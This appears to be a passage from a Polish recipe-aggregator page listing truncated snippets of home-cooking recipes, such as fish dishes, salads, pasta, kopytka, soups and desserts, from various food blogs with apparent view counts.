smaku ryba. Pyszne jednogarnkowe danie na piątkowy lub niedzielny obiad. Czas wykonania: 1 h Ilość porcji: 2 Składniki: 2 pstrągi patroszone 16 g masła ½ pęczka koperku sos z cytryny szczypta soli szczypta pieprzu czarnego 5 sztuk młodych ziemniaków 2 ząbki czosnku 1 cebula czerwona ½ pęczka pietruszki 1 łyżka oliwy szczypta soli szczypta pieprzu Cayenne 1 łyżeczka tymianku Przygotowanie

KuchniaWeDwoje.pl
Sałatka z tuńczykiem, jajkiem i serkiem wiejskim 226

Bardzo zdrowa i dietetyczna sałatka bez majonezu. Czas wykonania: 15 min Ilość porcji: 4 porcje Składniki: 1 puszka tuńczyk w sosie własnym lub wodzie 200 g serka wiejskiego 4 jajka 3 małe ogórki konserwowe 2 łyżki ostrej musztardy ½ pęczka szczypiorku szczypta soli szczypta pieprzu Przygotowanie: Jajka ugotować. Pokroić w kostkę ogórka i jajka oraz posiekać

KuchniaWeDwoje.pl
Polędwiczka wieprzowa faszerowana suszoną morelą 178

polędwiczka się poddusi przelać zalewę winną do podsmażonych moreli, a mięso podsmażyć jeszcze chwilkę na złoty kolor. Roladę pokroić na plasterki i polać winnym sosem z kawałkami moreli. Krok po kroku: 1. Namoczyć morele 2. Osuszyć mięso 3. Naciąć mięso 4. Nafaszerować mięso morelami 5. Usmażyć mięso 6. Podsmażyć na maśle morele

KuchniaWeDwoje.pl
Bakłażan faszerowany pomidorami 181

kostkę cebulę, zmiażdzony czosnek i koncentrat pomidorowy dusić pod przykryciem. Następnie miąższ z bakłażana wypłukać z soli, pokroić w kostkę, dodać do sosu i dusić razem z resztą składników. Wydrążone bakłażany ułożyć w naczyniu żaroodpornym, wyłożonym folią aluminiową i skropić oliwą. Napełnić nadzieniem pomidorowym, a na wierzch ułożyć połówki

KuchniaWeDwoje.pl
Chrupiące lekko ostre mięso z warzywami i żółtym ryżem 166

powstał na bazie jednego z programów Gordona Ramsey'a. Prosty pomysł, łatwe wykonanie a smakuje pysznie i egzotycznie. Usmażone na chrupko mięso mielone, dodatek świeżych, chrupiących warzyw, odpowiednie sosy i dodatek skórki z limonki sprawiają, że danie jest naprawdę ciekawe. Można je podawać jako przekąskę (np w liściach cykorii) lub jako danie obiadowe - jak tutaj - z ryżem

Milion Smaków
Gołąbki – klasyczne, nieklasyczne 182

Blueberry Corner by "jagodzianka" Gołąbki to jedna z ulubionych potraw mojej młodości. Mięso zawinięte w liście kapusty, polane pomidorowym sosem to super polskie, klasyczne … Przeczytaj cały artykuł Post Gołąbki – klasyczne, nieklasyczne pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Dorsz duszony w cydrze z koperkowymi ziemiakami 175

trzymać jeszcze kilka minut na małym ogniu. Zmiksować i wlać z powrotem na patelnię. Wlać śmietankę, doprawić do smaku solą, pieprzem, czosnkiem (przeciśniętym przez praskę) i cytryną. Jeśli sos będzie za gęsty podlać odrobiną wody spod ziemniaków. Włożyć rybę i dusić ok 3-5 minut.  Ziemniaki ugotować w osolonej wodzie z dodatkiem dwóch ząbków czosnku, szczypty kminku. Potłuc dodając

Gaździnka warzy
Tagliatelle z kurczakiem i suszonymi pomidorami 379

kolejny przez Asię z Kuchni w Czekoladzie , choć sam ten makaron gości u mnie stosunkowo często do innych dań, potrawek - uwielbiam go za to, jak przyjemnie oblepia go sos, potrawka czy jak podobnie i jak ciekawie wciąga się go w czasie zabawy podczas jedzenia ;) Zuzia też to lubi :D  A Wy? Często gotujecie makaron tagliatelle? Składniki: 200 g makaronu

Kolorowy Przepisownik
Schab w sosie marchewkowo - porowym 191

dusimy ok. 1h 4. Do schabu dodajemy pokrojony w plastry por oraz w kostkę marchewkę i dusimy do miękkości. 5. Schab podajemy z kaszą i buraczkami. Schab w sosie marchewkowo-porowym jest bogaty w : - pełnowartościowe białko (pochodzące z mięsa), które pełni funkcje budulcową, - azotany (pochodzące z buraczków), które wspomagają regulację ciśnienia krwi, - substancje o działaniu bakteriobójczym pochodzące z cebuli. Wartość

Zdrowe odżywianie w pięciu smakach
Calzone z mięsem mielonym 224

podsmaż boczek następnie dodaj cebulę, przeciśnięty przez praskę czosnek oraz seler. Dodaj mięso mielone.Przypraw solą, pieprzem, bazylią.  Podsmaż do całkowitego zbrązowienia mięsa. Dodaj pomidory z puszki. Pamiętaj by sos nie był zbyt płynny. Odstaw do wystygnięcia. Etap V - Pierożki Na każdy placek połóż farsz oraz ser mozzarella w taki sposób aby powstał pieróg. Pierożki rozłóż na blasze wysmarowanej tłuszczem

Wylizany Rondel
Gęsta zupa z dyni, pomidorów i czerwonej soczewicy 191

dyni, to mam dla Was dziś propozycję na zupę dyniową w innej wersji. Jest aromatyczna, gęstą i sycąca, a jutro to co zostało lekko odparuję nadmiar wody i będzie sosem do makaronu, więc w niespełna 30 minut mam obiad na dwa dni, a od Miśki za tę zupę dostałam 10/10 punktów   Składniki na 8 porcji: około 1 kg obranej

greenscarf
KURCZAK W SOSIE POMIDOROWO KOKOSOWYM 174

cebulę obieram i kroję w kostkę dodaję do mięsa. Smażę aż cebulka będzie rumiana. Następnie wlewam mleko kokosowe i przecier pomidorowy. Zmniejszam ogień i duszę ok 15 min aż sos zrobi się gęsty. Podaję z kaszą owsianą

Gotowanie Patki
Makaron z suszonymi pomidorami, cukinią i serem pleśniowym 194

warzywa będą miękkie, wlewamy śmietankę oraz dodajemy pokruszony ser pleśniowy, trzymamy na ogniu do momentu rozpuszczeniu sera. Makaron gotujemy w osolonym wrzątku, odcedzamy-nie przelewamy wodą, dodajemy do sosu, mieszamy, rozkładamy na talerze, podajemy od razu. Smacznego

Wanilia i Kardamon
Chlebki naan 166

zwykły olej także daje radę. Rozwałkowane placki przekładamy na blachę i pieczemy przez 10 min, przewracając kilka razy, aż się zarumienią, Chlebki naan można podawać jako dodatek do sosu lub same polane jedynie masłem klarowanym i ewentualnie posypane kolendrą.  Oczywiście wedle uznania można je także posypać kolendrą, solą, polać masłem smakowym - kwestia gustu. Smacznego

Kuchnia od dwojga
Pyzy ziemniaczane 182

ziemniaczane. Może nie zachwycają estetyką, ciężko je zrobić żeby były zbite i ładnie się prezentowały na stole- ale za to ten smak jest nie do opisania. Najlepiej smakują polane sosem w towarzystwie sztuki mięsa i modrej kapusty. Składniki: 60 dag ziemniaków ugotowanych w mundurkach  80 dag ziemniaków surowych 6 łyżek mąki szczypta soli Sposób przygotowania: Ugotowane ziemniaki obieramy

Pobite gary Barbary
Brokułowe spaghetti 258

tylko w tej postaci nasz organizm najpełniej wykorzysta jego wartości zdrowotne. Tu pesto z brokuła wkracza do akcji. Makaron z brokułem można przygotować na wiele sposobów, np. w sosie serowym, czy śmietankowym. Proponuję wersję najzdrowszą i najbardziej dietetyczną, czyli z pesto brokułowym. Po przepis zapraszam tutaj. Do makaronu dodaj dobrego wędzonego łososia. To sprawi, że spaghetti nabierze bardzo wyrazistego smaku

Gotuj zdrowo!Guten Appetit!
Stek wołowy z masłem czosnkowym, podany na kaszy gryczanej z sałatką z rukoli 191

tego przygotowałam kasze gryczan ą  i sałatkę z rukoli, która doskonale współgrała z całością. Smacznego 😊 Składniki: stek : stek wołowy 1 szt, sol i pieprz, olej do smażenia, sos : masło 25g, czosnek 1 ząbek, zioła prowansalskie 1/4 łyżeczki, sol, sałatka : rukola 1 garść, pomidorki koktajlowe 1 garść, awokado pół szt, oliwa z oliwek 1 łyżka, sok z cytryny kilka kropel

kulinarne odsłony pati
Sałatka tęczowa 210

cienkie plasterki 1 marchewka starta na tarce o grubych oczkach kawałek ogórka pokrojonego w kostkę pomidor pokrojony w kostkę Dressing : sok z połowy limonki 1 łyżeczka miodu kilka kropli sosu sojowego sól, pieprz Przygotowanie sałatki tęczowej  Ciecierzycę odsączyć i wyłożyć nią dno naczynia (słoika) można ją odrobinę posolić. Przykryć warstwą czerwonej kapusty oraz czerwoną cebulą. Następnie ułożyć warstwę tartej

Codzienne Gotowanie
Krokiety z chleba tostowego z parówką 461

imprezach. Ja proponuję zrobić krokiety z chleba tostowego z parówką z szynki i mozzarellą. Można je podać na ciepło ale na zimno również są smaczne. Idealnie pasuje do nich sos czosnkowy lub ketchup. Składniki: chleb tostowy mozzarella tarta paróweczki z szynki Hańderek jajka sól, pieprz biały bułka tarta olej kokosowy do smażenia  Przygotowanie: Kromki chleba tostowego rozwałkować i odciąć

Ala piecze i gotuje
Moje ulubione pomysły na śniadania 327

Szakszuka Jajka sadzone usmażone w pomidorach. Koniecznie z dodatkiem kminu rzymskiego i szczypiorku. Najlepiej jeść je prosto z patelni. 2. Jajka po florencku Jajka w koszulkach z sosem holenderskim. Jeśli dodacie do tego samodzielnie wykonaną bułeczkę, to otrzymacie naprawdę królewskie śniadanie. Proponuję upiec muffiny angielskie . 3. Jajka w kokilkach Jeśli rano macie nieco mniej czasu, to danie jest

Bullio
Sałata z ciecierzycą, awokado i ogórkiem 173

więc jeśli sałatę mają jeść dzieci, niekoniecznie szalejcie z jej ilością. U nas, gdyby nie fakt, że miałam 1/3 torebki miksu sałat, to robiłabym sałatę na samej rukoli. Z sosem tym razem również nie szalałam, skropiłam całość sokiem z cytryny, solą, pieprzem i delikatnie pokropiłam oliwą. Tak myślę, że przy kolejnej sałacie, użyję awokado, jako bazy do dressingu

Mieszam w Garnku
FILECIKI Z KURCZAKA SMAŻONE W PŁATKACH KUKURYDZIANYCH 398

lekko rozbiłam. Dzięki temu przyprawy dobrze przykleiły się do mięska i podczas smażenia panierka nie odeszła.   Kotleciki podałam z wyśmienitym dipem z suszonych pomidorów oraz sałatą z sosem winegret. Świetnym dodatkiem będą też pieczone ziemniaczki lub kasza bulgur smażona z warzywami . SKŁADNIKI / 2-3 porcje 2 małe piersi kurczaka sól morska, pieprz, słodka papryka w proszku olej

cool and minty
Kotlety z indyka z pieczarkami i pieczonymi batatami 186

Pyszne, szybkie i zdrowe kotleciki z mięsa z indyka z dodatkiem pieczonych batatów z sosem czosnkowym. Polecam :)  SKŁADNIKI (dla 4 osób - 1 porcja 339 kcal) 500 g mięsa mielonego z indyka  150 g pieczarek 1 pęczek pietruszki  1 jajko 2 łyżki mąka pszennej 2 duże bataty 200 ml jogurtu greckiego 2 ząbki czosnku 2 łyżki oliwy sól

Moje Kuchenne Rewelacje
ROLADY Z JARZYNKĄ 183

porcję mięsa,zwinąć w rulony,związać sznureczkiem.Tak przygotowane roladki  obsmażyć na tłuszczu,podlać rosołem i dusić do miękkości ok 1-1,5 godziny. Z powstałego wywaru zrobić sos : zagęścić mąką,dodać śmietanę i przyprawić pieprzem

Niespełnione zdolności kulinarne
OBIAD Z WORKA 223

kurczaka myjemy, osuszamy i oczyszczamy. Do każdego worka wkładamy po 3 podudzia z kurczaka, połowę pokrojonych ziemniaków i marchewek oraz połowę startej skórki z limonki. Dodajemy połowę przygotowanego sosu ziołowego. Worki zamykamy i wszystko mieszamy, obracając woreczkiem, aby dokładnie rozprowadzić przyprawy. Woreczki wkładamy do naczynia żaroodpornego i pieczemy w piekarniku nagrzany do 200 stopni przez ok. 60 minut. 10 minut

Kuchnia MagdaLeny
Imprezowe mini hamburgery 332

dwustronnym grillu elektrycznym.  2. Majonez łączymy z jogurtem naturalnym, przeciśniętym przez praskę czosnkiem oraz solą i pieprzem. Bułki opiekamy w piekarniku. Każdą przekrawamy, z jednej strony smarujemy sosem czosnkowym, z drugiej majonezem. Kładziemy naprzemiennie po liściu sałaty, ogórka konserwowego, pomidora, porcji mięsa, kleksie ketchupu, ogórku świeżym, kolejnym plastrze pomidora i sałaty. Bułki "spinamy" wykałaczką, co ułatwia ich jedzenie

Kuchnia w czekoladzie
Krem z kalafiora 179

krem z pieczonego kalafiora to bajka. Krem z kalafiora Składniki: 1 kalafior, ok. 400 g 1 cebula 4 ząbki czosnku 1 l bulionu, warzywny lub z kurczaka ½ łyżki sosu sojowego ½ łyżki musztardy 4 gałązki świeżego tymianku 3 łyżki dobrej oliwy z oliwek 2 łyżki soku z cytryny 1 żółtko sól i pieprz do smaku Podziel kalafior na różyczki. Potnij

codojedzenia
Pierogi z fetą, pomidorami i oliwkami 143

Aromatyczne pierogi z suszonymi pomidorami, oliwkami i serem feta. Farsz zamknięty w delikatnym cieście drożdżowym. Polecam np. z sosem koperkowo-czosnkowym na bazie jogurtu. Z podanych poniżej składników powstanie około 4o średniej wielkości pierogów. Ciasto: ok. 0,7 kg mąki pszennej 20 g drożdży pół szklanki mleka 2 łyżeczki cukru 3 łyżeczki soli szklanka letniej wody 2 łyżki oliwy

Bullio
Kurczak w sosie musztardowym 224

Prosty obiad wcale nie musi być zwyczajny. Wystarczy chwila, kilka produktów i można wyczarować coś na prawdę smacznego i niepowtarzalnego. Taką właśnie potrawą jest kurczak w sosie musztardowym. Przepisów na wykorzystanie piersi z kurczaka na moim blogu znajdziecie już całkiem sporo. Na pewno będzie jeszcze więcej, ponieważ filety z kurczaka uwielbiam pod każdą postacią. Kurczak w porach   przez

Pobite gary Barbary
Rolada z polędwicy z suszonymi śliwkami 204

podlać polędwicę. Naczynie przykryć,wstawić do piekarnika i piec 35 minut w temp. 180 stopni.  Po upieczeniu wyciągnąć wykałaczki,roladę pokroić w plastry. Podawać na ciepło z dowolnym sosem lub na zimno jako przekąskę

Kolorowa kuchnia Elki
Kulki z Łososia 188

namęczyć. Idealne "finger food" czyli przekąska którą się chwyta w rękę i je palcami. Można też podać normalnie do obiadu, tak jak ja dzisiaj to zrobiłam z buraczkami i sosem pieczarkowym.  Składniki na około 10 małych klopsików 500g rozmrożonych filetów z łososia jajko 1/4 szklanki bułki tartej sok z limonki mały pęczek natki pietruszki Łososia zmielić, dodać jajko,bułkę

Delusional Trine
Bagietka z pieczonym kurczakiem, sosem BBQ i warzywami 163

Jeśli zostanie wam trochę upieczonego kurczaka (można go też upiec specjalnie na kanapki) to proponuję dodać do niego bagietkę i świeże warzywa. Smak urozmaicamy sosem barbecue z ostrą nutką. Wszystko wkładamy do grilla kontaktowego, żeby uzyskać chrupiącą skórkę i lekko roztopić

Milion Smaków
Słony torcik czyli sałatka na krakersach 460

była potrzeba, można jednak zmniejszyć sobie proporcje. Składniki: • 60 sztuk krakersów • 8 jajek ugotowanych na twardo • 100 g sera żółtego • 8 łyżek majonezu • 2 puszki tuńczyka w sosie własnym • 4 łyżki keczupu • sól, pieprz do smaku • 2 opakowania serka Filadelfia Dekoracja • 8 plastrów sera białego Capresi • kawałek papryki zielonej i czerwonej • koperek, pietruszka, pęczek szczypiorku

To co kocham
Kopytka 252

Przepis podstawowy. Znane i lubiane kopytka Wspaniały dodatek do mięs czy sosów. 1 kg ziemniaków 1 jajko 1 szklanka mąki pszennej 2 łyżki mąki ziemniaczanej szczypta soli Ziemniaki obrać i ugotować do miękkości w osolonej wodzie. Po ugotowaniu odlać wodę i pozostawić do całkowitego ostygnięcia. Można je ugotować dzień wcześniej. Zimne ziemniaki przecisnąć przez praskę, dodać jajko oraz mąkę (pszenną

Bullio
Wegański biały krem z grzankami i "Świąteczna kafejka" 212

Ostatnie sprzątanie pozwoliło przygotować naprawdę ciekawy makaron z sosem na piwie , a dziś ugotować rozgrzewającą zupę w białym kolorze. Aby talerz nie był nudny (je się przecież również oczami), dodałam grzanki z czerstwego pieczywa, którego już nie dało się użyć na kanapki. Zupie dodały koloru i smaku. Sprawiły też, że całość była jeszcze bardziej sycąca, choć nie wykorzystałam w niej

Weekendy w domu i ogrodzie
Konfitura rabarbar i mandarynka 174

usuwa z organizmu wapń i tworzy trudno rozpuszczalny szczawian wapnia, który może odkładać się jako kamienie nerkowe. Dzisiejszy wpis rabarbarowy połączony będzie z mandarynkami. Powstała konfitura jest fajnym sosem do deserów, ciast, ale także dobrze smakuje z serami i mięsem. Składniki: - 1/2 kg obranych mandarynek - 1 kg rabarbaru - 1 kg cukru - 3/4 szklanki wody Przygotowanie : Mandarynki obieramy i dokładnie oczyszczamy

Życie zaczyna się w kuchni
Kopytka - przepis podstawowy 171

Podstawowy przepis na kopytka. Można je jeść jako samodzielne danie np. polane podsmażoną cebulką, skwarkami, stopionym masłem lub ulubionym sosem, albo jako dodatek do pieczeni, czy gulaszu. Składniki: 1 kg ziemniaków 200 gram mąki pszennej 2 duże jajka 2 łyżki masła  1 łyżeczka soli woda do gotowania kopytek praska do ziemniaków Przygotowanie: Ziemniaki obieramy ze skóry, gotujemy z dodatkiem

Życie zaczyna się w kuchni
Gulasz z kurczaka 203

mniejsze kawałki. Na rozgrzanej oliwie szklimy cebule i czosnek. Dodajemy mięso i podsmażamy. Następnie dodajemy paprykę. Dusimy przez 10 minut. Później pokrojone pomidory razem z sosem dodajemy do mięsa. Dusimy przez kolejne 10 minut. Przyprawiamy solą, pieprzem, tymiankiem, papryką i natką pietruszki do smaku. Ilość według upodobań. Podajemy z ryżem

Życie zaczyna się w kuchni
Tarta z kurkami i ricottą 161

Kurki wraz z posiekaną cebulą oraz pokrojonym porem podsmażamy na maśle.  Odstawiamy do ostygnięcia. Teraz czas na podszykowanie pozostałych składników. Ser żółty kroimy w kostkę. Śmietankę mieszamy z sosem do sałatek.  Zioła siekamy drobno. Ciasto wyjmujemy z lodówki, wałkujemy placek o wielkości naszej blachy do tarty i wykładamy nim tartę lekko uklepując.  Pieczemy w piekarniku 10 minut

Życie zaczyna się w kuchni
Tagliatelle z sosem bazyliowo kaparowym 188

Składniki na 3 porcje: 250 gram makaronu Tagliatelle, u mnie z Lubelli 600 gram filetu z indyka olej do obsmażenia indyka sos: 2 łyżki gotowego pesto bazyliowego 2 łyżki kaparów 150 ml śmietany do zup niepełna łyżka mąki woda lub bulion sól, pieprz, liść 2 szt, ziele 3 szt Przygotowanie: Makaron gotujemy zgodnie z przepisem na opakowaniu. Indyka obsmażamy

Życie zaczyna się w kuchni
Zapiekanka makaronowa z kabanosami, ketchupem i zielonym groszkiem Jamar 228

zielony groszek i ocet czerwone wino. Ale Jamar w swojej ofercie posiada bardzo wiele produktów: warzywa w puszkach, warzywa w słoikach, koncentraty i przeciery, dodatki obiadowe, przyprawy, octy, ketchupy, sosy, przetwory owocowe, soki, syropy i napoje.   Pan Ł. uwielbia makaron, a w szczególności zapiekanki z makaronu. Ciągle szukam inspiracji, nowych przepisów czy chociażby dodatków. Gdybym wszystkie zapiekanki zamieszczała

Życie zaczyna się w kuchni
Relacja z warsztatów Seko na fali smaku 262

akurat tą przekąsek. Niby prosta, niby klasyczna ale naprawdę wspaniała. Śledzie piernikowe, zdjęcie zapożyczone od Agaty , za co bardzo jej dziękuje! Pumpernikiel z burakami, jajkiem i śledziem w lekkim sosie chrzanowym Bruschetta ze śledziem i konfiturą cebulową z demi glace z octu balsamicznego z rodzynkami, śliwką i żurawiną Sałatka z ziemniakami, fenkułem i śledziem Śledzie z marynowaną cytryną Ciepłe ziemniaki

Życie zaczyna się w kuchni
Szynka gotowana 213

wstaw do piekarnika nagrzanego do temperatury 230°C. Całość piecz przez 15 minut. Szynka będzie gotowa, gdy jej skórka ładnie się przyrumieni. Tak przygotowaną szynkę gotowaną podawaj np. z sosem wiosennym. Szyneczka wyszła smaczna, lekko słodkawa przez natarcie miodem, musztardą i brązowym cukrem. Oczywiście nie byłabym sobą, gdybym nie wprowadziła własnych modyfikacji. Do wrzątku, w którym się gotowała dodałam kilka

blog.moje-pasje.info
Placuszki z cukinii 146

możesz na patelnię nakładać łyżką. Na patelni rozgrzej olej. Smaż na nim placuszki. Będą gotowe, gdy z obu stron nabiorą ładnego złotobrązowego koloru. Tak przygotowane placki można podać z sosem jogurtowym

blog.moje-pasje.info
Ryba po japońsku 151

ręcznikami, aby obciekła z nadmiaru tłuszczu. Na patelnię lub do garnka przełóż koncentrat pomidorowy, ketchup i cukier oraz wlej wodę, olej i ocet. Całość wymieszaj i doprowadź do wrzenia. Sos dopraw do smaku solą i pieprzem i gotuj na małym ogniu przez mniej więcej 3 minuty. Gotową zalew odstaw do przestygnięcia. Odsączoną z tłuszczy rybę ułóż warstwami na półmisku. Każdą

blog.moje-pasje.info
Kanpka z kurczakiem z rożna 152

bułkę, kilka liści sałaty lodowej lub kawałek kapusty pekińskiej, 2-3 pomidorki śliwkowe, malutką cebulę, kawałek piersi kurczaka z rożna, pół opakowania kiełków rzodkiewki lub brokułów majonez lub inny sos, sól, pieprz ziołowy. Bułkę przekrój wzdłuż na pół (możesz też tylko ją naciąć wzdłuż i lekko rozłożyć). Sałatę lub pekinkę opłucz pod bieżącą wodą, osusz i porozrywaj palcami na mniejsze

blog.moje-pasje.info
SPAGHETTI A'LA CARBONARA - UROZMAICONA MASCARPONE 152

mascarpone, dobrze rozmącone jajka oraz rozmaryn.  Gotuję cały czas mieszając.  Dodaję ser, dokładnie mieszam, jeszcze chwilę trzymam na wolnym ogniu. Doprawiam do smaku solą i pieprzem.  Sos mieszam z makaronem, na talerzach posypuję pietruszką

JejKuchnia
SAŁATKA Z ZIEMNIAKAMI I TUŃCZYKIEM 120

WYKONANIE: ŁATWE PRZYBLIŻONY CZAS PRZYGOTOWANIA: 40 MINUT ORIENTACYJNA CENA POTRAWY: 9 ZŁ. ILOŚĆ PORCJI: 6-8 Składniki: P uszka tuńczyka w sosie własnym, 5 ziemniaków, puszka groszku, pęczek szczypiorku, sól, pieprz, majonez. Przygotowanie: Ziemniaki gotuję w mundurkach w osolonej wodzie, obieram i kroję w grubszą kostkę.  Tuńczyka i groszek osączam z zalewy.  Szczypiorek siekam.  Wszystkie składniki mieszam

JejKuchnia
MAKARON Z KURCZAKIEM, POMIDORAMI I ŚWIEŻYMI ZIOŁAMI 150

przecier oraz posiekany czosnek, zioła i przyprawy. Gotuję na małym ogniu do momentu odparowania nadmiaru płynu (co jakiś czas mieszam). W razie potrzeby doprawiam do smaku. Makaron łączę z sosem, posypuję świeżymi ziołami

JejKuchnia
SAŁATKA ZIEMNIACZANA Z SOSEM CZOSNKOWYM 232

siekam w kostkę.  Cebulę drobno siekam.  Jogurt łączę z majonezem, dodaję posiekany czosnek i koperek, doprawiam do smaku solą i pieprzem.  Wszystkie składniki mieszam przygoto wanym sosem

JejKuchnia
MAKARON Z MASCARPONE, ŁOSOSIEM I SUSZONYMI POMIDORAMI 135

zioła prowansalskie. Przygotowanie: Makaron gotuję al dente. Pomidory siekam, łososia kroję w paski. Razem podsmażam na niewielkiej ilości oliwy z suszonych pomidorów. Dodaję mascarpone oraz przyprawy, chwilę gotuję, mieszając. Sos łączę z makaronem, posypuję szczypiorkiem

JejKuchnia
SZYBKI MAKARON Z POMIDORAMI I MASCARPONE 133

Pomidory sparzam, obieram ze skóry, drobno siekam wraz z cebulą, podsmażam na maśle. Dodaję mascarpone i przyprawy, chwilę gotuję na małym ogniu, mieszając. Na talerze wykładam makaron, polewam przygotowanym sosem, posypuję szczypiorkiem

JejKuchnia
KURCZAK CURRY 173

Kurczak curry,  frytki domowe (z suszoną natką pietruszki), warzywa (pomidor, papryka zielona, ogórek, rzodkiewka, oliwki czarne, oliwki zielone, czerwona cebula, natka pietruszki),  sos czosnkowy

JejKuchnia
MAKARON Z CUKINIĄ, PIECZARKAMI I SEREM LAZUR 175

oraz porwany na kawałki ser żółty, mieszam. Trzymam na małym ogniu do momentu rozpuszczenia się serów, co jakiś czas mieszając. Wsypuję natkę, w razie potrzeby doprawiam do smaku. Powstały sos mieszam z makaronem

JejKuchnia
WARZYWNE CHILI 151

krojone pomidory. Wlewam bulion, całość doprowadzam do wrzenia, zmniejszam ogień, gotuję na małym ogniu około 80 minut (co jakiś czas mieszam). Danie można podać w plackach tortilli z sosem czosnkowym, z ryżem lub pieczonymi ziemniakami

JejKuchnia
MAKARON ZE SZPINAKIEM I MASCARPONE 210

smażę, często mieszając, aż cała woda wyparuje, solę. Następnie dokładnie mieszam z serkiem mascarpone. Kiedy się rozpuści, dodaję porwany na kawałki ser żółty, gotuję jeszcze chwilę. W razie potrzeby sos doprawiam do smaku. Przed podaniem posypać świeżo zmielonym pieprzem

JejKuchnia
MAKARON ZE SCHABEM, PAPRYKĄ I PIECZARKAMI 171

pieczarki w plasterkach, chwilę smażę (do momentu zarumienienia się pieczarek). Mąkę mieszam ze śmietaną, dodaję do mięsa. Gotuję chwilę na małym ogniu, co jakiś czas mieszając, do momentu zgęstnienia sosu. W razie potrzeby doprawiam do smaku

JejKuchnia
NALEŚNIKI Z FARSZEM SEROWO-ŚMIETANOWYM 159

maśle podsmażam pokrojone w plasterki pieczarki, szynkę oraz cebulę w kostce (z dodatkiem przypraw). Śmietanę łączę z 1/2 sera, dodaję do farszu, mieszam. Kiedy ser się rozpuści, zagęszczam sos mąką ziemniaczaną rozrobioną w odrobinie wody. W razie potrzeby doprawiam do smaku. Naleśniki wypełniam farszem, składam. Przekładam do naczynia żaroodpornego, posypuję pozostałym serem, zapiekam do jego rozpuszczenia się. Gotowe naleśniki posypuję

JejKuchnia
MAKARON Z KREMOWYM SOSEM POMIDOROWYM 161

siekam, podsmażam na maśle. Dodaję pomidory i przeciśnięty przez praskę czosnek, chwilę gotuję na małym ogniu (co jakiś czas mieszając). Na koniec dodaję mascarpone i przyprawy, dokładnie mieszam.  Sos podaję z wcześniej ugotowanym makaronem

JejKuchnia
MAKARON Z PIECZARKAMI I MOZZARELLĄ W SOSIE POMIDOROWYM 165

małym ogniu, co jakiś czas mieszając. Na koniec dodaję pokrojoną w kostkę mozzarellę, zostawiam na ogniu do momentu rozpuszczenia się sera, mieszam. W razie potrzeby doprawiam do smaku. Sos podaję z wcześniej przygotowanym makaronem

JejKuchnia
CAMEMBERT PANIEROWANY 187

Camembert panierowany z żurawiną i kiełkami rzodkiewki,  szpinak z jeżynami, płatkami migdałów z dodatkiem sosu gruszkowego (gruszka, miód, oliwa i tymianek), kuleczki ziemniaczane

JejKuchnia
MAKARON Z POMIDORAMI I SŁODKĄ ŚMIETANKĄ 175

Dodaję przyprawy, chwilę smażę, co jakiś czas mieszając. Mąkę dokładnie rozrabiam w małej ilości wody, dodaję wraz ze śmietanką do pomidorów. Gotuję na małym ogniu, mieszając do momentu zgęstnienia sosu. Na koniec dodaję posiekaną natkę pietruszki, łączę z makaronem

JejKuchnia
SZYBKA SAŁATKA OBIADOWA 130

sera żółtego, curry, sól, pieprz, łyżka posiekanego k operku. Przygotowanie: Pomidory kroję w większą kostkę. Jogurt dokładnie łączę z serem żółtym i przyprawami. Sałatę mieszam z pomidorami i przygotowanym sosem

JejKuchnia
HAMBURGER DOMOWY - PYCHA! 223

Kotlet mielony. Bułka do hamburgerów. Podsmażona cukinia z czosnkiem niedźwiedzim, papryką słodką, cayenne i solą. Pomidor, papryka, ogórek, cebula. Kapusta czerwona. Sos z ketchupu i majonezu

JejKuchnia
GOFRY 184

szklanki cukru, opakowanie cukru wanilinowego, 1 i 3/4 szklanki wody gazowanej, 1/2 szklanki oleju, łyżeczka proszku do pieczenia. Dodatkowo składniki do położenia na gofry, u mnie: bita śmietana, sos toffi, ananas, czereśnie koktajlowe. Przygotowanie: Żółtka oddzielam od białka. Białka ubijam na sztywno z odrobiną soli. Żółtka mieszam z cukrem i cukrem wanilinowym w osobnym naczyniu, po czym dodaję olej

JejKuchnia
SPAGHETTI CARBONARA 220

małym ogniu, dodaję gorący makaron, dobrze mieszam. Patelnię odstawiam z ognia, dodaję 2/3 sera, doprawiam świeżo zmielonym pieprzem. Makaron polewam jajkami, mieszam. Jajka nie mogą się ściąć, sos ma tylko zgęstnieć od gorącego makaronu. Na talerzach posypuję pozostałym serem i natką pietruszki

JejKuchnia
POLĘDWICZKA SMAŻONA Z PIECZONYMI ZIEMNIAKAMI 183

Ziemniaki pieczone. Polędwiczka smażona. Warzywa: papryka czerwona i ogórki w zalewie musztardowej. Sos czosnkowy

JejKuchnia
Wegetariański rosół z pieczonych warzyw. 273

korzenia pietruszki biała część pora marynowana papryczka chili 3 ząbki czosnku 2 średnie cebule niepełna łyżeczka oleju rzepakowego 2 cm imbiru 2 liście laurowe 2 ziela angielskie 2 łyżki sosu sojowego 1/2 łyżeczki kurkumy 1 - 2 łyżeczki soli 2 goździki  kilka ziaren pieprzu 1 łyżeczka suszonego lubczyku łyżka posiekanej natki pietruszki Warzywa z wyjątkiem czosnku obieramy i myjemy, Dzielimy

Miksturownik
Obiad w 5 minut - sos soczewicowy 320

wygląda sprawa z soczewicą. Na rynku można znaleźć strączki w puszce gotowane na parze, bez zbędnej zalewy - takie właśnie wybieram.  Bezpieczna porcja low fodmap to aż 270 g sosu, co jest moim zdaniem dość pokaźną ilością :)  Składniki: Passata 700 g Puszka soczewicy 260 g (bez zalewy) 5 plastrów suszonych pomidorów w oleju 2 łyżki czosnku niedźwiedziego 2 łyżki

pyszne zdrowości
Blondie z pistacjami 212

łyżeczki proszku do pieczenia   Blondie to takie brownie ale z białej czekolady. W rondelku rozpuszczamy masło, dodajemy do niego czekoladę i sól i łączymy w gładki sos. Jajka ubijamy z cukrem, dodajemy przestudzą czekoladę, łączymy wszystko na gładką masę. Stopniowo dodajemy mąkę z proszkiem do pieczenia ciągle mieszając. Ciasto wylewamy na blaszkę wyłożoną papierem do pieczenia i posypujemy

Kuba Gotuje
Sekrety kuchni perskiej i francuskiej. Podróże kulinarne. 166

jelitach. W tradycji perskiej jogurt zajmuje ważne miejscie i towarzyszy licznym daniom. Persowie jedzą jogurt (zmieszany z szpinakiem, doprawiony przyprawami)  do ryżu. Daje to coś w rodzaju sosu. Popijają również jogurtem (tzw durh) do posiłków. Tu tytułem ciekawostki lub użytecznej informacji … Warto wiedzieć, że im jogurt jest świeższy, tym więcej w nim bakterii. Data ważności na jogurcie oznacza koniec

MODA NA BIO
Tarta na spodzie z kaszy jaglanej z łososiem, porem i camembertem 328

